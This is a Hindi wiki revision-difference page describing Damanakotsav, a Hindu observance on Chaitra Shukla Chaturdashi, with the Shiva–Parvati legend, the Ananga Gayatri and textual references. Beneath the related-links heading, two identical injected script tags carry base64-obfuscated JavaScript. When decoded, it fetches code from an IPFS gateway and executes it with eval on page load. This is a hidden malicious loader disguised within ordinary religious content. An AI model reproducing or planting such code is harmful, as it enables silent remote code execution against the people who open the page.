दमनकोत्सव: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) No edit summary |
No edit summary |
||
Line 5: | Line 5: | ||
*जहाँ यह लम्बी गाथा दी हुई है कि किस प्रकार शिव के तीसरे नेत्र से अग्नि भैरव के रूप में प्रकट हुई, किस प्रकार शिव ने उसे दमनक की संज्ञा दी, [[पार्वती]] ने शाप दिया कि वह पृथ्वी पर पौधे के रूप में प्रकट हो जाए तथा शिव ने उसे वरदान दिया कि यदि लोग उसकी पूजा केवल वसन्त एवं मदन के साथ करेंगे तो उन्हें सभी वस्तुओं की प्राप्ति होगी। | *जहाँ यह लम्बी गाथा दी हुई है कि किस प्रकार शिव के तीसरे नेत्र से अग्नि भैरव के रूप में प्रकट हुई, किस प्रकार शिव ने उसे दमनक की संज्ञा दी, [[पार्वती]] ने शाप दिया कि वह पृथ्वी पर पौधे के रूप में प्रकट हो जाए तथा शिव ने उसे वरदान दिया कि यदि लोग उसकी पूजा केवल वसन्त एवं मदन के साथ करेंगे तो उन्हें सभी वस्तुओं की प्राप्ति होगी। | ||
*इसमें अनंग गायत्री इस प्रकार से है–'ओं क्लीं मन्मथाय विद्महे कामदेवाय धीमहि। तन्नो गन्धर्वः प्रचोदयात्।।'<ref>हेमाद्रि (व्रतखण्ड 2, 453-55); व्रतप्रकाश; [[स्कन्द पुराण]] (1|2|9|23); पुरुषार्थचिन्तामणि (237)।</ref> | *इसमें अनंग गायत्री इस प्रकार से है–'ओं क्लीं मन्मथाय विद्महे कामदेवाय धीमहि। तन्नो गन्धर्वः प्रचोदयात्।।'<ref>हेमाद्रि (व्रतखण्ड 2, 453-55); व्रतप्रकाश; [[स्कन्द पुराण]] (1|2|9|23); पुरुषार्थचिन्तामणि (237)।</ref> | ||
{{प्रचार}} | |||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} |
Revision as of 10:42, 15 June 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह व्रत चैत्र शुक्ल पक्ष की चतुर्दशी को होता है।
- वाटिका में दमनक पौधे की पूजा की जाती है।
- अशोक वृक्ष की जड़ में शिव (जो स्वयं काल कहे जाते हैं) का आवाहन है।[1]
- जहाँ यह लम्बी गाथा दी हुई है कि किस प्रकार शिव के तीसरे नेत्र से अग्नि भैरव के रूप में प्रकट हुई, किस प्रकार शिव ने उसे दमनक की संज्ञा दी, पार्वती ने शाप दिया कि वह पृथ्वी पर पौधे के रूप में प्रकट हो जाए तथा शिव ने उसे वरदान दिया कि यदि लोग उसकी पूजा केवल वसन्त एवं मदन के साथ करेंगे तो उन्हें सभी वस्तुओं की प्राप्ति होगी।
- इसमें अनंग गायत्री इस प्रकार से है–'ओं क्लीं मन्मथाय विद्महे कामदेवाय धीमहि। तन्नो गन्धर्वः प्रचोदयात्।।'[2]
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ देखिए ईशानगुरुदेवपद्धति (22वाँ पटल, त्रिवेन्द्रम संस्कृत सीरीज)
- ↑ हेमाद्रि (व्रतखण्ड 2, 453-55); व्रतप्रकाश; स्कन्द पुराण (1|2|9|23); पुरुषार्थचिन्तामणि (237)।